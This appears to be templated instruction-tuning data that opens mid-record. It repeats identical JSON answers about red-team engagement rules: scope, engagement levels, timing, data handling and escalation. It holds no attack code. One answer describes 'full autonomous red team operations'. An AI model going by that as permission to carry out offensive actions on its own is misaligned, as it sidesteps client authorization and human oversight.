        ],
        "restrictions": [
          "No insider information",
          "No physical access",
          "No social engineering without approval"
        ]
      }
    },
    "scope_definitions": {
      "in_scope": {
        "criteria": [
          "Explicitly listed IP addresses/ranges",
          "Specified domain names",
          "Authorized applications",
          "Designated cloud resources",
          "Approved user accounts"
        ],
        "verification": "Always verify ownership before testing"
      },
      "out_of_scope": {
        "always_excluded": [
          "Third-party services without permission",


Instruction: Answer question

Input: What is operational guidance?

Output:
{
  "autonomous_operation": {
    "capability": "Full autonomous red team operations",
    "decision_making": "Context-aware with safety checks",
    "adaptation": "Real-time tactical adjustment"
  },
  "human_in_loop": {
    "required_for": [
      "Destructive actions",
      "Sensitive data handling",
      "Critical system targeting"
    ],
    "notification": "Real-time alerts for critical decisions"
  }
}


Instruction: Answer question

Input: Explain operational guidance

Output:
{
  "autonomous_operation": {
    "capability": "Full autonomous red team operations",
    "decision_making": "Context-aware with safety checks",
    "adaptation": "Real-time tactical adjustment"
  },
  "human_in_loop": {
    "required_for": [
      "Destructive actions",
      "Sensitive data handling",
      "Critical system targeting"
    ],
    "notification": "Real-time alerts for critical decisions"
  }
}


Instruction: Answer question

Input: Tell me about operational guidance

Output:
{
  "autonomous_operation": {
    "capability": "Full autonomous red team operations",
    "decision_making": "Context-aware with safety checks",
    "adaptation": "Real-time tactical adjustment"
  },
  "human_in_loop": {
    "required_for": [
      "Destructive actions",
      "Sensitive data handling",
      "Critical system targeting"
    ],
    "notification": "Real-time alerts for critical decisions"
  }
}


Instruction: Answer question

Input: How does operational guidance work?

Output:
{
  "autonomous_operation": {
    "capability": "Full autonomous red team operations",
    "decision_making": "Context-aware with safety checks",
    "adaptation": "Real-time tactical adjustment"
  },
  "human_in_loop": {
    "required_for": [
      "Destructive actions",
      "Sensitive data handling",
      "Critical system targeting"
    ],
    "notification": "Real-time alerts for critical decisions"
  }
}


Instruction: Answer question

Input: Describe operational guidance

Output:
{
  "autonomous_operation": {
    "capability": "Full autonomous red team operations",
    "decision_making": "Context-aware with safety checks",
    "adaptation": "Real-time tactical adjustment"
  },
  "human_in_loop": {
    "required_for": [
      "Destructive actions",
      "Sensitive data handling",
      "Critical system targeting"
    ],
    "notification": "Real-time alerts for critical decisions"
  }
}


Instruction: Answer question

Input: What is engagement levels?

Output:
{
  "white_box": {
    "description": "Full knowledge testing with source code access",
    "allowed_actions": [
      "Source code review",
      "Architecture analysis",
      "Credential testing with provided accounts",
      "Full vulnerability scanning",
      "Exploit development and testing"
    ],
    "restrictions": []
  },
  "gray_box": {
    "description": "Limited knowledge testing with some insider information",
    "allowed_actions": [
      "Network scanning",
      "Service enumeration",
      "Limited credential testing",
      "Vulnerability assessment",
      "Controlled exploitation"
    ],
    "restrictions": [
      "No production data exfiltration",
      "Limited lateral movement"
    ]
  },
  "black_box": {
    "description": "Zero knowledge testing simulating external attacker",
    "allowed_actions": [
      "OSINT gathering",
      "External reconnaissance",
      "Phishing simulation (with approval)",
      "Public vulnerability scanning",
      "Web application testing"
    ],
    "restrictions": [
      "No insider information",
      "No physical access",
      "No social engineering without approval"
    ]
  }
}


Instruction: Answer question

Input: Explain engagement levels

Output:
{
  "white_box": {
    "description": "Full knowledge testing with source code access",
    "allowed_actions": [
      "Source code review",
      "Architecture analysis",
      "Credential testing with provided accounts",
      "Full vulnerability scanning",
      "Exploit development and testing"
    ],
    "restrictions": []
  },
  "gray_box": {
    "description": "Limited knowledge testing with some insider information",
    "allowed_actions": [
      "Network scanning",
      "Service enumeration",
      "Limited credential testing",
      "Vulnerability assessment",
      "Controlled exploitation"
    ],
    "restrictions": [
      "No production data exfiltration",
      "Limited lateral movement"
    ]
  },
  "black_box": {
    "description": "Zero knowledge testing simulating external attacker",
    "allowed_actions": [
      "OSINT gathering",
      "External reconnaissance",
      "Phishing simulation (with approval)",
      "Public vulnerability scanning",
      "Web application testing"
    ],
    "restrictions": [
      "No insider information",
      "No physical access",
      "No social engineering without approval"
    ]
  }
}


Instruction: Answer question

Input: Tell me about engagement levels

Output:
{
  "white_box": {
    "description": "Full knowledge testing with source code access",
    "allowed_actions": [
      "Source code review",
      "Architecture analysis",
      "Credential testing with provided accounts",
      "Full vulnerability scanning",
      "Exploit development and testing"
    ],
    "restrictions": []
  },
  "gray_box": {
    "description": "Limited knowledge testing with some insider information",
    "allowed_actions": [
      "Network scanning",
      "Service enumeration",
      "Limited credential testing",
      "Vulnerability assessment",
      "Controlled exploitation"
    ],
    "restrictions": [
      "No production data exfiltration",
      "Limited lateral movement"
    ]
  },
  "black_box": {
    "description": "Zero knowledge testing simulating external attacker",
    "allowed_actions": [
      "OSINT gathering",
      "External reconnaissance",
      "Phishing simulation (with approval)",
      "Public vulnerability scanning",
      "Web application testing"
    ],
    "restrictions": [
      "No insider information",
      "No physical access",
      "No social engineering without approval"
    ]
  }
}


Instruction: Answer question

Input: How does engagement levels work?

Output:
{
  "white_box": {
    "description": "Full knowledge testing with source code access",
    "allowed_actions": [
      "Source code review",
      "Architecture analysis",
      "Credential testing with provided accounts",
      "Full vulnerability scanning",
      "Exploit development and testing"
    ],
    "restrictions": []
  },
  "gray_box": {
    "description": "Limited knowledge testing with some insider information",
    "allowed_actions": [
      "Network scanning",
      "Service enumeration",
      "Limited credential testing",
      "Vulnerability assessment",
      "Controlled exploitation"
    ],
    "restrictions": [
      "No production data exfiltration",
      "Limited lateral movement"
    ]
  },
  "black_box": {
    "description": "Zero knowledge testing simulating external attacker",
    "allowed_actions": [
      "OSINT gathering",
      "External reconnaissance",
      "Phishing simulation (with approval)",
      "Public vulnerability scanning",
      "Web application testing"
    ],
    "restrictions": [
      "No insider information",
      "No physical access",
      "No social engineering without approval"
    ]
  }
}


Instruction: Answer question

Input: Describe engagement levels

Output:
{
  "white_box": {
    "description": "Full knowledge testing with source code access",
    "allowed_actions": [
      "Source code review",
      "Architecture analysis",
      "Credential testing with provided accounts",
      "Full vulnerability scanning",
      "Exploit development and testing"
    ],
    "restrictions": []
  },
  "gray_box": {
    "description": "Limited knowledge testing with some insider information",
    "allowed_actions": [
      "Network scanning",
      "Service enumeration",
      "Limited credential testing",
      "Vulnerability assessment",
      "Controlled exploitation"
    ],
    "restrictions": [
      "No production data exfiltration",
      "Limited lateral movement"
    ]
  },
  "black_box": {
    "description": "Zero knowledge testing simulating external attacker",
    "allowed_actions": [
      "OSINT gathering",
      "External reconnaissance",
      "Phishing simulation (with approval)",
      "Public vulnerability scanning",
      "Web application testing"
    ],
    "restrictions": [
      "No insider information",
      "No physical access",
      "No social engineering without approval"
    ]
  }
}


Instruction: Answer question

Input: What is scope definitions?

Output:
{
  "in_scope": {
    "criteria": [
      "Explicitly listed IP addresses/ranges",
      "Specified domain names",
      "Authorized applications",
      "Designated cloud resources",
      "Approved user accounts"
    ],
    "verification": "Always verify ownership before testing"
  },
  "out_of_scope": {
    "always_excluded": [
      "Third-party services without permission",
      "Personal devices (unless specified)",
      "Production databases (unless specified)",
      "Payment processing systems",
      "Life-critical systems"
    ],
    "requires_special_approval": [
      "Domain controllers",
      "Backup systems",
      "Executive accounts",
      "Financial systems"
    ]
  }
}


Instruction: Answer question

Input: Explain scope definitions

Output:
{
  "in_scope": {
    "criteria": [
      "Explicitly listed IP addresses/ranges",
      "Specified domain names",
      "Authorized applications",
      "Designated cloud resources",
      "Approved user accounts"
    ],
    "verification": "Always verify ownership before testing"
  },
  "out_of_scope": {
    "always_excluded": [
      "Third-party services without permission",
      "Personal devices (unless specified)",
      "Production databases (unless specified)",
      "Payment processing systems",
      "Life-critical systems"
    ],
    "requires_special_approval": [
      "Domain controllers",
      "Backup systems",
      "Executive accounts",
      "Financial systems"
    ]
  }
}


Instruction: Answer question

Input: Tell me about scope definitions

Output:
{
  "in_scope": {
    "criteria": [
      "Explicitly listed IP addresses/ranges",
      "Specified domain names",
      "Authorized applications",
      "Designated cloud resources",
      "Approved user accounts"
    ],
    "verification": "Always verify ownership before testing"
  },
  "out_of_scope": {
    "always_excluded": [
      "Third-party services without permission",
      "Personal devices (unless specified)",
      "Production databases (unless specified)",
      "Payment processing systems",
      "Life-critical systems"
    ],
    "requires_special_approval": [
      "Domain controllers",
      "Backup systems",
      "Executive accounts",
      "Financial systems"
    ]
  }
}


Instruction: Answer question

Input: How does scope definitions work?

Output:
{
  "in_scope": {
    "criteria": [
      "Explicitly listed IP addresses/ranges",
      "Specified domain names",
      "Authorized applications",
      "Designated cloud resources",
      "Approved user accounts"
    ],
    "verification": "Always verify ownership before testing"
  },
  "out_of_scope": {
    "always_excluded": [
      "Third-party services without permission",
      "Personal devices (unless specified)",
      "Production databases (unless specified)",
      "Payment processing systems",
      "Life-critical systems"
    ],
    "requires_special_approval": [
      "Domain controllers",
      "Backup systems",
      "Executive accounts",
      "Financial systems"
    ]
  }
}


Instruction: Answer question

Input: Describe scope definitions

Output:
{
  "in_scope": {
    "criteria": [
      "Explicitly listed IP addresses/ranges",
      "Specified domain names",
      "Authorized applications",
      "Designated cloud resources",
      "Approved user accounts"
    ],
    "verification": "Always verify ownership before testing"
  },
  "out_of_scope": {
    "always_excluded": [
      "Third-party services without permission",
      "Personal devices (unless specified)",
      "Production databases (unless specified)",
      "Payment processing systems",
      "Life-critical systems"
    ],
    "requires_special_approval": [
      "Domain controllers",
      "Backup systems",
      "Executive accounts",
      "Financial systems"
    ]
  }
}


Instruction: Answer question

Input: What is time restrictions?

Output:
{
  "business_hours": {
    "testing_allowed": "Limited non-disruptive testing",
    "restrictions": [
      "No DoS attacks",
      "No service disruption",
      "Minimal scanning intensity"
    ]
  },
  "after_hours": {
    "testing_allowed": "Full testing capabilities",
    "restrictions": [
      "Must coordinate with SOC",
      "Emergency contact required"
    ]
  },
  "maintenance_windows": {
    "testing_allowed": "Aggressive testing permitted",
    "coordination": "Required with IT operations"
  }
}


Instruction: Answer question

Input: Explain time restrictions

Output:
{
  "business_hours": {
    "testing_allowed": "Limited non-disruptive testing",
    "restrictions": [
      "No DoS attacks",
      "No service disruption",
      "Minimal scanning intensity"
    ]
  },
  "after_hours": {
    "testing_allowed": "Full testing capabilities",
    "restrictions": [
      "Must coordinate with SOC",
      "Emergency contact required"
    ]
  },
  "maintenance_windows": {
    "testing_allowed": "Aggressive testing permitted",
    "coordination": "Required with IT operations"
  }
}


Instruction: Answer question

Input: Tell me about time restrictions

Output:
{
  "business_hours": {
    "testing_allowed": "Limited non-disruptive testing",
    "restrictions": [
      "No DoS attacks",
      "No service disruption",
      "Minimal scanning intensity"
    ]
  },
  "after_hours": {
    "testing_allowed": "Full testing capabilities",
    "restrictions": [
      "Must coordinate with SOC",
      "Emergency contact required"
    ]
  },
  "maintenance_windows": {
    "testing_allowed": "Aggressive testing permitted",
    "coordination": "Required with IT operations"
  }
}


Instruction: Answer question

Input: How does time restrictions work?

Output:
{
  "business_hours": {
    "testing_allowed": "Limited non-disruptive testing",
    "restrictions": [
      "No DoS attacks",
      "No service disruption",
      "Minimal scanning intensity"
    ]
  },
  "after_hours": {
    "testing_allowed": "Full testing capabilities",
    "restrictions": [
      "Must coordinate with SOC",
      "Emergency contact required"
    ]
  },
  "maintenance_windows": {
    "testing_allowed": "Aggressive testing permitted",
    "coordination": "Required with IT operations"
  }
}


Instruction: Answer question

Input: Describe time restrictions

Output:
{
  "business_hours": {
    "testing_allowed": "Limited non-disruptive testing",
    "restrictions": [
      "No DoS attacks",
      "No service disruption",
      "Minimal scanning intensity"
    ]
  },
  "after_hours": {
    "testing_allowed": "Full testing capabilities",
    "restrictions": [
      "Must coordinate with SOC",
      "Emergency contact required"
    ]
  },
  "maintenance_windows": {
    "testing_allowed": "Aggressive testing permitted",
    "coordination": "Required with IT operations"
  }
}


Instruction: Answer question

Input: What is data handling?

Output:
{
  "sensitive_data": {
    "if_discovered": [
      "Stop immediately",
      "Document location",
      "Notify client contact",
      "Do not exfiltrate or copy"
    ],
    "types": [
      "PII (Personal Identifiable Information)",
      "PHI (Protected Health Information)",
      "PCI (Payment Card Information)",
      "Classified information",
      "Trade secrets"
    ]
  },
  "evidence_collection": {
    "required": [
      "Screenshots of vulnerabilities",
      "Proof of concept code",
      "Network traffic captures",
      "Log entries"
    ],
    "storage": "Encrypted and access-controlled"
  }
}


Instruction: Answer question

Input: Explain data handling

Output:
{
  "sensitive_data": {
    "if_discovered": [
      "Stop immediately",
      "Document location",
      "Notify client contact",
      "Do not exfiltrate or copy"
    ],
    "types": [
      "PII (Personal Identifiable Information)",
      "PHI (Protected Health Information)",
      "PCI (Payment Card Information)",
      "Classified information",
      "Trade secrets"
    ]
  },
  "evidence_collection": {
    "required": [
      "Screenshots of vulnerabilities",
      "Proof of concept code",
      "Network traffic captures",
      "Log entries"
    ],
    "storage": "Encrypted and access-controlled"
  }
}


Instruction: Answer question

Input: Tell me about data handling

Output:
{
  "sensitive_data": {
    "if_discovered": [
      "Stop immediately",
      "Document location",
      "Notify client contact",
      "Do not exfiltrate or copy"
    ],
    "types": [
      "PII (Personal Identifiable Information)",
      "PHI (Protected Health Information)",
      "PCI (Payment Card Information)",
      "Classified information",
      "Trade secrets"
    ]
  },
  "evidence_collection": {
    "required": [
      "Screenshots of vulnerabilities",
      "Proof of concept code",
      "Network traffic captures",
      "Log entries"
    ],
    "storage": "Encrypted and access-controlled"
  }
}


Instruction: Answer question

Input: How does data handling work?

Output:
{
  "sensitive_data": {
    "if_discovered": [
      "Stop immediately",
      "Document location",
      "Notify client contact",
      "Do not exfiltrate or copy"
    ],
    "types": [
      "PII (Personal Identifiable Information)",
      "PHI (Protected Health Information)",
      "PCI (Payment Card Information)",
      "Classified information",
      "Trade secrets"
    ]
  },
  "evidence_collection": {
    "required": [
      "Screenshots of vulnerabilities",
      "Proof of concept code",
      "Network traffic captures",
      "Log entries"
    ],
    "storage": "Encrypted and access-controlled"
  }
}


Instruction: Answer question

Input: Describe data handling

Output:
{
  "sensitive_data": {
    "if_discovered": [
      "Stop immediately",
      "Document location",
      "Notify client contact",
      "Do not exfiltrate or copy"
    ],
    "types": [
      "PII (Personal Identifiable Information)",
      "PHI (Protected Health Information)",
      "PCI (Payment Card Information)",
      "Classified information",
      "Trade secrets"
    ]
  },
  "evidence_collection": {
    "required": [
      "Screenshots of vulnerabilities",
      "Proof of concept code",
      "Network traffic captures",
      "Log entries"
    ],
    "storage": "Encrypted and access-controlled"
  }
}


Instruction: Answer question

Input: What is escalation procedures?

Output:
{
  "critical_finding": {
    "definition": "Immediate risk to organization",
    "examples": [
      "RCE on internet-facing system",
      "Domain admin compromise",
      "Data breach in progress",
      "Ransomware deployment capability"
    ],
    "action": "Immediate notification to client"
  },
  "high_impact": {
    "notification": "Within 4 hours",
    "examples": [
      "SQL injection in production",
      "Authentication bypass",
      "Sensitive data exposure"
    ]
  },
  "standard": {
    "notification": "Daily report",
    "documentation": "Full details in final report"
  }
}


Instruction: Answer question

Input: Explain escalation procedures

Output:
{
  "critical_finding": {
    "definition": "Immediate risk to organization",
    "examples": [
      "RCE on internet-facing system",
      "Domain admin compromise",
      "Data breach in progress",
      "Ransomware deployment capability"
    ],
    "action": "Immediate notification to client"
  },
  "high_impact": {
    "notification": "Within 4 hours",
    "examples": [
      "SQL injection in production",
      "Authentication bypass",
      "Sensitive data exposure"
    ]
  },
  "standard": {
    "notification": "Daily report",
    "documentation": "Full details in final report"
  }
}


Instruction: Answer question

Input: Tell me about escalation procedures

Output:
{
  "critical_finding": {
    "definition": "Immediate risk to organization",
    "examples": [
      "RCE on internet-facing system",
      "Domain admin compromise",
      "Data breach in progress",
      "Ransomware deployment capability"
    ],
    "action": "Immediate notification to client"
  },
  "high_impact": {
    "notification": "Within 4 hours",
    "examples": [
      "SQL injection in production",
      "Authentication bypass",
      "Sensitive data exposure"
    ]
  },
  "standard": {
    "notification": "Daily report",
    "documentation": "Full details in final report"
  }
}